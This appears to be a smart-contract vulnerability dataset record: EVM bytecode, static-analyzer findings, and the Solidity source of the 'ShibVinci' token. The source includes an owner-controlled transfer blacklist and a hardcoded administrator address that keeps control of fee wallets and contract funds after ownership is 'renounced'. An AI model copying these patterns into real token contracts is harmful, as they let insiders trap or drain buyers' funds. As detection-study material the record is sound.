063ffffffff16565b93506115e3855185612bf390919063ffffffff16565b915081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561163357600080fd5b600090505b845181101561189e576000858281518110151561165157fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff16141580156116e657506000151560086000878481518110151561169057fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b801561174757506009600086838151811015156116ff57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b151561175257600080fd5b6117bb8460076000888581518110151561176857fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612bd590919063ffffffff16565b6007600087848151811015156117cd57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550848181518110151561182357fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a38080600101915050611638565b6118f082600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612bbc90919063ffffffff16565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060019250505092915050565b61194761315b565b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156119dd5780601f106119b2576101008083540402835291602001916119dd565b820191906000526020600020905b8154815290600101906020018083116119c057829003601f168201915b5050505050905090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611a4357600080fd5b600081118015611a5b575080611a5883611481565b10155b1515611a6657600080fd5b611aaf600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482612bbc565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611afe60055482612bbc565b6005819055508173ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5826040518082815260200191505060405180910390a25050565b6000611b6061316f565b600083118015611bc0575060001515600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b8015611c1c575060001515600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b8015611c665750600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b8015611cb05750600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b1515611cbb57600080fd5b611cc484612c2e565b15611cdb57611cd4848483612c41565b9150611ce9565b611ce6848483612f62565b91505b5092915050565b60086020528060005260406000206000915054906101000a900460ff1681565b60008083118015611d71575060001515600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b8015611dcd575060001515600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b8015611e175750600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b8015611e615750600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b1515611e6c57600080fd5b611e7584612c2e565b15611e8c57611e85848484612c41565b9050611e9a565b611e97848484612f62565b90505b9392505050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611eff57600080fd5b60008351111515611f0f57600080fd5b600090505b825181101561203e5760008382815181101515611f2d57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1614151515611f5a57600080fd5b81600860008584815181101515611f6d57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508281815181101515611fd657fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff167f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a583604051808215151515815260200191505060405180910390a28080600101915050611f14565b505050565b60096020528060005260406000206000915090505481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156120b757600080fd5b8060068190555050565b6000806000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561212257600080fd5b60008551118015612134575083518551145b151561213f57600080fd5b60009150600090505b84518110156124d6576000848281518110151561216157fe5b906020019060200201511180156121a657506000858281518110151561218357fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1614155b80156122195750600015156008600087848151811015156121c357fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b801561227a575060096000868381518110151561223257fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b151561228557600080fd5b6122aa848281518110151561229657fe5b906020019060200201516305f5e100612bf3565b84828151811015156122b857fe5b906020019060200201818152505083818151811015156122d457fe5b906020019060200201516007600087848151811015156122f057fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561234257600080fd5b6123b960076000878481518110151561235757fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205485838151811015156123aa57fe5b90602001906020020151612bbc565b6007600087848151811015156123cb57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061243482858381518110151561242557fe5b90602001906020020151612bd5565b91503373ffffffffffffffffffffffffffffffffffffffff16858281518110151561245b57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef86848151811015156124aa57fe5b906020019060200201516040518082815260200191505060405180910390a38080600101915050612148565b61251f600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483612bd5565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060019250505092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156125ca57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561260657600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008084118015612727575060001515600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b8015612783575060001515600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b80156127cd5750600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b80156128175750600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b151561282257600080fd5b61282b85612c2e565b15612ba6578361283a33611481565b101561284557600080fd5b61285761285133611481565b85612bbc565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506128ac6128a686611481565b85612bd5565b600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff166000836040518082805190602001908083835b60208310151561293e5780518252602082019150602081019050602083039250612919565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390207c01000000000000000000000000000000000000000000000000000000009004903387876040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828051906020019080838360005b83811015612a1f578082015181840152602081019050612a04565b50505050905090810190601f168015612a4c5780820380516001836020036101000a031916815260200191505b50935050505060006040518083038185886187965a03f193505050501515612a7057fe5b826040518082805190602001908083835b602083101515612aa65780518252602082019150602081019050602083039250612a81565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390208573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16876040518082815260200191505060405180910390a48473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a360019050612bb4565b612bb1858585612f62565b90505b949350505050565b6000828211151515612bca57fe5b818303905092915050565b6000808284019050838110151515612be957fe5b8091505092915050565b6000806000841415612c085760009150612c27565b8284029050828482811515612c1957fe5b04141515612c2357fe5b8091505b5092915050565b600080823b905060008111915050919050565b60008083612c4e33611481565b1015612c5957600080fd5b612c6b612c6533611481565b85612bbc565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612cc0612cba86611481565b85612bd5565b600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508490508073ffffffffffffffffffffffffffffffffffffffff1663c0ee0b8a3386866040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b83811015612dc8578082015181840152602081019050612dad565b50505050905090810190601f168015612df55780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b1515612e1557600080fd5b6102c65a03f11515612e2657600080fd5b505050826040518082805190602001908083835b602083101515612e5f5780518252602082019150602081019050602083039250612e3a565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390208573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16876040518082815260200191505060405180910390a48473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a360019150509392505050565b600082612f6e33611481565b1015612f7957600080fd5b612f8b612f8533611481565b84612bbc565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612fe0612fda85611481565b84612bd5565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816040518082805190602001908083835b6020831015156130595780518252602082019150602081019050602083039250613034565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390208473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16866040518082815260200191505060405180910390a48373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600190509392505050565b602060405190810160405280600081525090565b6020604051908101604052806000815250905600a165627a7a72305820e369e3e860db45210a14e3f9db5bd04046df64c9d58cd3d20a70cac25ea2772d0029
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
1,062
0xe9615071341c6F0392A5dFDE1645Ad01b810cB43
/** _ _ _ _ _ _ _ _ _ _ _ _(_)(_)(_)(_)_ (_) (_) (_) (_) (_) (_) (_) (_) (_) (_) _ _ _ _ _ (_) _ _ _ (_) (_) _ _ _ _ _ _ _ _ _ _ _ (_)_ _ _ _ (_)(_)(_)(_)_ (_)(_) (_)(_)(_)(_)_ (_)_ _(_) (_)(_) (_)(_)(_)(_)_ _(_)(_)(_) (_)(_) (_)(_)(_)(_)_ (_) (_) (_) (_) (_) (_) (_) (_) (_) (_) (_) (_) _ (_) (_) (_) (_) (_) (_) (_) (_) (_) (_) (_) (_) (_) (_)_ _ _ _(_) (_) (_) _ (_) _ (_) _ _ _(_) (_)_(_) _ (_) _ (_) (_) (_)_ _ _ _ (_) _ (_)(_)(_)(_) (_) (_) (_)(_)(_) (_)(_)(_)(_) (_) (_)(_)(_) (_) (_) (_)(_)(_) (_)(_)(_) /** //SPDX-License-Identifier: UNLICENSED */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadlineroute ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract ShibVinci is Context, IERC20, Ownable { using SafeMath for uint256; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; mapping(address => bool) private bots; mapping(address => uint256) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable public _feeAddrMarketing; address payable public _feeAddrDev; address payable public _feeAddrTreasury; address private _administratorAddress; // Will be able todo limited stuff on the contract once renounced string private constant _name = "ShibVinci"; string private constant _symbol = "SHIV"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap() { inSwap = true; _; inSwap = false; } constructor() { _administratorAddress = address(0xE5E2420dfFDBb8f1d40a11A33d9E2D3e9c8a1679); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_administratorAddress] = true; emit Transfer(address(this), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 1; _feeAddr2 = 9; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if ( to == uniswapV2Pair && from != address(uniswapV2Router) && !_isExcludedFromFee[from] ) { _feeAddr1 = 1; _feeAddr2 = 9; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from, to, amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrMarketing.transfer(amount.div(3)); _feeAddrDev.transfer(amount.div(3)); _feeAddrTreasury.transfer(amount.div(3)); } function addLiquidity() external onlyOwner { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 15000000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount ) private { _transferStandard(sender, recipient, amount); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _administratorAddress, "Invalid admin address"); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _administratorAddress, "Invalid admin address"); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function excludeFromFee(address _address, bool _val) external { require(_msgSender() == _administratorAddress, "Invalid admin address"); _isExcludedFromFee[_address] = _val; } function updateMarketingAddress(address _address) external { require(_msgSender() == _administratorAddress, "Invalid admin address"); _feeAddrMarketing = payable(_address); _isExcludedFromFee[_address] = true; } function updateDevAddress(address _address) external { require(_msgSender() == _administratorAddress, "Invalid admin address"); _feeAddrDev = payable(_address); _isExcludedFromFee[_address] = true; } function updateTreasuryAddress(address _address) external { require(_msgSender() == _administratorAddress, "Invalid admin address"); _feeAddrTreasury = payable(_address); _isExcludedFromFee[_address] = true; } function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues( tAmount, _feeAddr1, _feeAddr2 ); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues( tAmount, tFee, tTeam, currentRate ); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x60806040526004361061014f5760003560e01c8063715018a6116100b6578063a9059cbb1161006f578063a9059cbb14610465578063b515566a146104a2578063c3c8cd80146104cb578063dd62ed3e146104e2578063df8408fe1461051f578063e8078d941461054857610156565b8063715018a61461037b578063841e45611461039257806385033762146103bb5780638da5cb5b146103e457806395d89b411461040f5780639f4dde821461043a57610156565b8063273123b711610108578063273123b71461027f578063313ce567146102a85780633c9a685f146102d35780635932ead1146102fe5780636fc3eaec1461032757806370a082311461033e57610156565b806306fdde031461015b578063095ea7b31461018657806318160ddd146101c35780631e11b4b4146101ee5780632369bf831461021957806323b872dd1461024257610156565b3661015657005b600080fd5b34801561016757600080fd5b5061017061055f565b60405161017d9190613266565b60405180910390f35b34801561019257600080fd5b506101ad60048036038101906101a89190612d93565b61059c565b6040516101ba919061324b565b60405180910390f35b3480156101cf57600080fd5b506101d86105ba565b6040516101e591906133e8565b60405180910390f35b3480156101fa57600080fd5b506102036105ce565b604051610210919061317d565b60405180910390f35b34801561022557600080fd5b50610240600480360381019061023b9190612c66565b6105f4565b005b34801561024e57600080fd5b5061026960048036038101906102649190612d00565b610727565b604051610276919061324b565b60405180910390f35b34801561028b57600080fd5b506102a660048036038101906102a19190612c66565b610800565b005b3480156102b457600080fd5b506102bd6108f0565b6040516102ca919061345d565b60405180910390f35b3480156102df57600080fd5b506102e86108f9565b6040516102f5919061317d565b60405180910390f35b34801561030a57600080fd5b5061032560048036038101906103209190612e1c565b61091f565b005b34801561033357600080fd5b5061033c6109d1565b005b34801561034a57600080fd5b5061036560048036038101906103609190612c66565b610a79565b60405161037291906133e8565b60405180910390f35b34801561038757600080fd5b50610390610aca565b005b34801561039e57600080fd5b506103b960048036038101906103b49190612c66565b610c1d565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612c66565b610d50565b005b3480156103f057600080fd5b506103f9610e83565b6040516104069190613162565b60405180910390f35b34801561041b57600080fd5b50610424610eac565b6040516104319190613266565b60405180910390f35b34801561044657600080fd5b5061044f610ee9565b60405161045c919061317d565b60405180910390f35b34801561047157600080fd5b5061048c60048036038101906104879190612d93565b610f0f565b604051610499919061324b565b60405180910390f35b3480156104ae57600080fd5b506104c960048036038101906104c49190612dd3565b610f2d565b005b3480156104d757600080fd5b506104e0611057565b005b3480156104ee57600080fd5b5061050960048036038101906105049190612cc0565b611107565b60405161051691906133e8565b60405180910390f35b34801561052b57600080fd5b5061054660048036038101906105419190612d53565b61118e565b005b34801561055457600080fd5b5061055d611280565b005b60606040518060400160405280600981526020017f5368696256696e63690000000000000000000000000000000000000000000000815250905090565b60006105b06105a96117e2565b84846117ea565b6001905092915050565b60006b033b2e3c9fd0803ce8000000905090565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166106356117e2565b73ffffffffffffffffffffffffffffffffffffffff161461068b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610682906132a8565b60405180910390fd5b80600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006107348484846119b5565b6107f5846107406117e2565b6107f085604051806060016040528060288152602001613b4d60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107a66117e2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fba9092919063ffffffff16565b6117ea565b600190509392505050565b6108086117e2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610895576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161088c90613348565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109276117e2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ab90613348565b60405180910390fd5b80601160176101000a81548160ff02191690831515021790555050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610a126117e2565b73ffffffffffffffffffffffffffffffffffffffff1614610a68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a5f906132a8565b60405180910390fd5b6000479050610a768161201e565b50565b6000610ac3600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612195565b9050919050565b610ad26117e2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b5690613348565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1